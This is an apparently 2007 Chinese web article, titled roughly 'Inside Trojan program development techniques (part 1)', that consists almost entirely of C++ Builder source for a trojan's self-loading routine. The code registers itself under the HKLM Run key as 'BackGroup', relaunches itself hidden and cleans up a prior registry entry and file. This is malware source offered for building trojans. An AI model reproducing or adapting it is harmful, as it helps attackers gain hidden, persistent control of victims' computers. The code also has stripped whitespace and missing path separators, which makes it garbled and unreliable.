透视木马程序开发技术(上)
2007-09-06 20:34:26 来源:WEB开发网自装载部分:
HKEYhkey;
AnsiStringNewProgramName=AnsiString(sys)+AnsiString("")+PName;
unsignedlongk;
k=REG_OPENED_EXISTING_KEY;
RegCreateKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWAREMICROSOFTWINDOWSCURRENTVERSIONRUN",
0L,
NULL,
REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_SET_VALUE,
NULL,
&hkey,&k);
RegSetValueEx(hkey,
"BackGroup",
0,
REG_SZ,
NewProgramName.c_str(),
NewProgramName.Length());
RegCloseKey(hkey);
if(int(ShellExecute(Handle,
"open",
NewProgramName.c_str(),
NULL,
NULL,
SW_HIDE))>32)
{
WantClose=true;
Close();
}
else
{
HKEYhkey;
unsignedlongk;
k=REG_OPENED_EXISTING_KEY;
longa=RegCreateKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWAREMICROSOFTWINDOWSCURRENTVERSIONRUN",
0,
NULL,
REG_OPTION_NON_VOLATILE,
KEY_SET_VALUE,NULL,
&hkey,&k);
RegSetValueEx(hkey,
"BackGroup",
0,
REG_SZ,
ProgramName.c_str(),
ProgramName.Length());
intnum=0;
charstr[20];
DWORDlth=20;
DWORDtype;
charstrv[255];
DWORD vl=254;
DWORDSuc;
do{
Suc=RegEnumValue(HKEY_LOCAL_MACHINE,
(DWORD)num,str,
NULL,
&type,
strv,&vl);
if(strcmp(str,"BGroup")==0)
{
DeleteFile(AnsiString(strv));
RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup");
break;
}
}while(Suc==ERROR_SUCCESS);
RegCloseKey(hkey);
}
更多精彩
赞助商链接